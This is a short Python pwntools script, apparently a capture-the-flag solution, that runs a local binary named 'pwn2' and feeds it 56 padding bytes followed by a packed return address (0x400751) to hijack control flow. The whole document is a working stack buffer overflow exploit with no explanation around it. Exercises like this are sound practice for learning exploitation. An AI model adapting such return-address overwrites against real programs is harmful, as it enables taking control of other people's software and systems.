#!/usr/bin/env python from pwn import * p = process('./pwn2') payload = 'a' * 56 + p64(0x400751) p.recvuntil('?') p.sendline(payload) print p.recvall()